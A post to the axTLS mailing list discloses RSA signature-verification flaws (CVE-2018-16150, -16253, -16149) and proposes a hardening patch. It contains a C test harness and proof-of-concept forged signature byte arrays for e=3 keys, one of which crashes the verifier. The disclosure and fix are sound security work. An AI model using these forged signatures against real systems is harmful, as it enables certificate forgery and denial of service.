Thread: [axtls-general] Problems of PKCS#1 v1.5 RSA Signature Verification

SourceForge Headquarters 225 Broadway Suite 1600 San Diego, CA 92101 +1 (858) 454-5900

Hi,

We recently investigated the signature verification code of axTLS, and
have found some exploitable flaws in it. Our findings were based on 
v2.1.3 but should also be applicable to v2.1.4.

We found that the signature parsing code of axTLS is focused on moving
the pointer to the beginning of the hash value (ASN.1 type OTCET
STRING), without imposing a lot of checks, making it potentially
vulnerable to various brute-force attacks given a low-exponent public key.

We first found that axTLS accepts signatures containing trailing bytes
after the hash value, in order words, it does not enforce the
requirement on the length of padding bytes, a classical flaw previously
found in other libraries. This could enable a practical brute-force 
signature forgery attack given a small public exponent.
CVE-2018-16150 has been reserved for this issue.

On top of that, we found that the implementation also ignores the
prefix bytes, meaning that the first 10 bytes of the signature can take
arbitrarily any values (see sig_verify() in x509.c). This makes a
brute-force signature forgery attack under low-exponent potentially even
easier. Here is a code snippet that might demonstrate the problems:

> // this is to mimic how sig_verify() is being called, based on
> // int x509_verify() in ssl/x509.c
> int x509_verify_mimic(uint8_t *digest, int digest_len,
>     uint8_t *signature, int sig_len,
>     uint8_t *modulus, int mod_len,
>     uint8_t *pub_exp, int pub_exp_len)
> {
>
>     int ret = X509_OK;
>
>     BI_CTX *bi_ctx = bi_initialize();
>     bigint *bi_digest = bi_import(bi_ctx, digest, digest_len);
>     bigint *mod = bi_import(bi_ctx, modulus, mod_len);
>     bigint *expn = bi_import(bi_ctx, pub_exp, pub_exp_len);
>     bigint *cert_sig = NULL;
>
>     /* check the signature */
>     cert_sig = sig_verify(bi_ctx, signature, sig_len,
>                         bi_clone(bi_ctx, mod), bi_clone(bi_ctx, expn));
>
>     if (cert_sig && bi_digest)
>     {
>         if (bi_compare(cert_sig, bi_digest) != 0)
>             ret = X509_VFY_ERROR_BAD_SIGNATURE;
>
>
>         bi_free(bi_ctx, cert_sig);
>     }
>     else
>     {
>         ret = X509_VFY_ERROR_BAD_SIGNATURE;
>     }
>
>     if (ret)
>         goto end_verify;
>
> end_verify:
>     return ret;
> }
>
> uint8_t atk_signature[] = {
>     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
>     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00,
>     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00,
>     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00,
>     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00,
>     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00,
>     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00,               
>     0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x06, 0xf9, 0x20, 0x3c, 0x7a, 0x92,
> 0xc6, 0xff,
>     0xf3, 0x0c, 0x75, 0x31, 0xb9, 0x69, 0xa0, 0x0c, 0x98, 0xfc, 0x03,
> 0x31, 0x91,
>     0xe0, 0xd4, 0x2c, 0x19, 0x90, 0xc4, 0x90, 0x26, 0x4b, 0xa4, 0xd4,
> 0x83, 0x6e
> };
>
> uint8_t digestBytes[] = { // SHA-256("65536")
>     0x0f, 0x25, 0x5e, 0xc1, 0x64, 0x82, 0xc3, 0x43, 0xfd, 0x09, 0x9b,
> 0xa9, 0x66,
>     0x88, 0x63, 0x77, 0x8b, 0xe4, 0x0d, 0xc1, 0x66, 0xa6, 0x85, 0x6b,
> 0x1d, 0x47,
>     0x0e, 0x0b, 0xc9, 0x7c, 0xc6, 0xfd
> };
>
> /* if the low-exponent attk is successful, this should not matter */
> uint8_t modulusBytes[] = {
>     /* choose any 1024-bit moduli */
> };
>
> /* low-exponent ... let's say e = 3 */
> uint8_t pubExpBytes[] = { 0x03 };
>
> ret_val = x509_verify_mimic(digestBytes, sizeof(digestBytes),
>     atk_signature, sizeof(atk_signature),
>     modulusBytes, sizeof(modulusBytes),
>     pubExpBytes, sizeof(pubExpBytes)
> );
The fake signature for SHA-256("65536") is in atk_signature[].
This should work against any 1024-bit moduli as long as e = 3.

Moreover, we found that it also does not check the algorithm OID as well
as the algorithm parameters when parsing the signature. In fact, it
seems to skip the entire ASN.1 prefix before it reaches the beginning of
the hash value (see get_signature() in x509.c), which again makes a
brute-force signature forgery under low-exponent even easier.
CVE-2018-16253 has been reserved for this issue, which can be exploited 
separately to forge fake signatures. Here is another proof-of-concept 
fake signature, with the hash being SHA-1("hello world"):
> uint8_t atk_signature[] = { // SHA-1("hello world") 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x01 , 0x42 , 0x8a , 0x2f , 0x98 , 0xd7 , 0x28 , 0xae
> , 0x22 , 0x08 , 0x23 , 0x2c , 0x5f , 0x47 , 0x20 , 0x00 , 0x00 , 0x00
> , 0x00 , 0x00 , 0x00 , 0x75 , 0xce , 0x9a , 0x6b , 0x9e , 0xbc , 0xb8
> , 0x0e , 0x72 , 0x18 , 0x1b , 0x48 , 0x5e , 0x24 , 0x9b , 0x96 , 0x52
> , 0x4e , 0xca , 0xcc , 0xb8 , 0x55 };

Finally, we found that by putting some absurd values in the various
ASN.1 lengths bytes, one can try to trick the code into reading from
illegal memory addresses and potentially crash the verifier. This is
because given the various lengths in the ASN.1 structure, the code is
too trusting in the sense that it uses the declared values directly
without sanity checks. Considering the possibility of low-exponents, the
ASN.1 lengths could potentially be under adversarial control, and should
perhaps be taken carefully.
CVE-2018-16149 has been reserved for this issue.

Here's another fake signature (against any 1024-bit moduli and e = 3)
that declares an absurdly long length for the hash value, which on my
machine, crashed the verifier when sig_verify() calls bi_import():
> uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x6c,
> 0xbc, 0xc2, 0x3b, 0x89, 0x2f, 0x3d, 0x3d, 0xab, 0xf1, 0x00, 0x6a,
> 0x11, 0x6e, 0x0f, 0xce, 0x9a, 0xde, 0x8d, 0xec, 0x4f, 0x75, 0x57,
> 0x64, 0xfc, 0xd0, 0x17, 0xe4, 0x3a, 0x69, 0x85, 0xdc, 0x8e, 0x9e };
Such a potential DoS attack against axTLS seems to be even easier to
mount than a signature forgery, as the number of bytes that need to
match for a successful attack is much smaller, and the fact that axTLS
verifies certificate chains in a bottom-up manner also contributes to an
attacker's advantage: even if low-exponent public keys are not commonly
found in the wild nowadays, one can purposefully introduce an
intermediate CA certificate that uses a low-exponent as the j-th one in
the chain, and forge a signature containing absurd length values as
described above and put it on the (j+1)-th certificate. Due to the
bottom-up verification, before the code traverses up the chain and
attempt to verify the j-th certificate against the (j-1)-th one, it
would have already processed the malicious signature on the (j+1)-th
certificate and performed some illegal memory access.

Given that there seems to be performance incentives in using low-exponent 
public keys with resource-constrained platforms that axTLS targets, 
perhaps it would be better to harden the code when it comes to RSA 
signature verification, and not rely on certificate issuers to disallow small 
public exponents.
Fortunately, these problems are not all that difficult to fix. One
possibility is to move away from parsing the meta-data and instead
hard-code expected values. Here is a patch that we have prepared, based
on axTLS-2.1.3. It should be easily adaptable to the latest v2.1.4. A
ESP8266 port of axTLS has already accepted this patch, as shown in
https://github.com/igrr/axtls-8266/commit/5efe2947ab45e81d84b5f707c51d1c64be52f36c

> --- /tmp/axtls-code/ssl/x509.c +++ /tmp/axTLS-2.1.3/ssl/x509.c @@
> -48,28 +48,6 @@ X509_CTX *x509_ctx); static int
> x509_v3_key_usage(const uint8_t *cert, int offset, X509_CTX
> *x509_ctx); - -/** - * Retrieve the signature from a certificate. - */
> -static const uint8_t *get_signature(const uint8_t *asn1_sig, int
> *len) -{ - int offset = 0; - const uint8_t *ptr = NULL; - - if
> (asn1_next_obj(asn1_sig, &offset, ASN1_SEQUENCE) < 0 || -
> asn1_skip_obj(asn1_sig, &offset, ASN1_SEQUENCE)) - goto end_get_sig; -
> - if (asn1_sig[offset++] != ASN1_OCTET_STRING) - goto end_get_sig; -
> *len = get_asn1_length(asn1_sig, &offset); - ptr = &asn1_sig[offset];
> /* all ok */ - -end_get_sig: - return ptr; -} - #endif /** @@ -361,17
> +339,58 @@ } #ifdef CONFIG_SSL_CERT_VERIFICATION + +static const
> uint8_t sig_prefix_md5[] = {0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A,
> 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05, 0x05, 0x00, 0x04, 0x10};
> +static const uint8_t sig_prefix_sha1[] = {0x30, 0x21, 0x30, 0x09,
> 0x06, 0x05, 0x2b, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14};
> +static const uint8_t sig_prefix_sha256[] = {0x30, 0x31, 0x30, 0x0d,
> 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01,
> 0x05, 0x00, 0x04, 0x20}; +static const uint8_t sig_prefix_sha384[] =
> {0x30, 0x41, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65,
> 0x03, 0x04, 0x02, 0x02, 0x05, 0x00, 0x04, 0x30}; +static const uint8_t
> sig_prefix_sha512[] = {0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86,
> 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03, 0x05, 0x00, 0x04, 0x40}; +
> /** * Take a signature and decrypt it. */ -static bigint
> *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, +static
> bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len,
> uint8_t sig_type, bigint *modulus, bigint *pub_exp) { - int i, size; +
> int i; bigint *decrypted_bi, *dat_bi; bigint *bir = NULL; uint8_t
> *block = (uint8_t *)alloca(sig_len); + const uint8_t *sig_prefix =
> NULL; + uint8_t sig_prefix_size = 0, hash_len = 0; + /* adjust our
> expections */ + switch (sig_type) + { + case SIG_TYPE_MD5: +
> sig_prefix = sig_prefix_md5; + sig_prefix_size =
> sizeof(sig_prefix_md5); + break; + case SIG_TYPE_SHA1: + sig_prefix =
> sig_prefix_sha1; + sig_prefix_size = sizeof(sig_prefix_sha1); + break;
> + case SIG_TYPE_SHA256: + sig_prefix = sig_prefix_sha256; +
> sig_prefix_size = sizeof(sig_prefix_sha256); + break; + case
> SIG_TYPE_SHA384: + sig_prefix = sig_prefix_sha384; + sig_prefix_size =
> sizeof(sig_prefix_sha384); + break; + case SIG_TYPE_SHA512: +
> sig_prefix = sig_prefix_sha512; + sig_prefix_size =
> sizeof(sig_prefix_sha512); + break; + } + if (sig_prefix) + hash_len =
> sig_prefix[sig_prefix_size - 1]; + + /* check length (#A) */ + if
> (sig_len < 2 + 8 + 1 + sig_prefix_size + hash_len) + goto err; + + /*
> decrypt */ dat_bi = bi_import(ctx, sig, sig_len); ctx->mod_offset =
> BIGINT_M_OFFSET; @@ -382,22 +401,30 @@ bi_export(ctx, decrypted_bi,
> block, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; - i = 10; /* start
> at the first possible non-padded byte */ - while (block[i++] && i <
> sig_len); - size = sig_len - i; - - /* get only the bit we want */ -
> if (size > 0) - { - int len; - const uint8_t *sig_ptr =
> get_signature(&block[i], &len); - - if (sig_ptr) - { - bir =
> bi_import(ctx, sig_ptr, len); - } - } - + /* check the first 2 bytes
> */ + if (block[0] != 0 || block[1] != 1) + goto err; + + /* check the
> padding */ + i = 2; /* start at the first padding byte */ + while (i <
> sig_len - 1 - sig_prefix_size - hash_len) + { /* together with (#A),
> we require at least 8 bytes of padding */ + if (block[i++] != 0xFF) +
> goto err; + } + + /* check end of padding */ + if (block[i++] != 0) +
> goto err; + + /* check the ASN.1 metadata */ + if (memcmp(block+i,
> sig_prefix, sig_prefix_size)) + goto err; + + /* now we can get the
> hash we need */ + bir = bi_import(ctx, block + i + sig_prefix_size,
> hash_len); + +err: /* save a few bytes of memory */
> bi_clear_cache(ctx); return bir; @@ -549,7 +576,7 @@ } /* check the
> signature */ - cert_sig = sig_verify(ctx, cert->signature,
> cert->sig_len, + cert_sig = sig_verify(ctx, cert->signature,
> cert->sig_len, cert->sig_type, bi_clone(ctx, mod), bi_clone(ctx,
> expn)); if (cert_sig && cert->digest) 
Best regards, Sze Yiu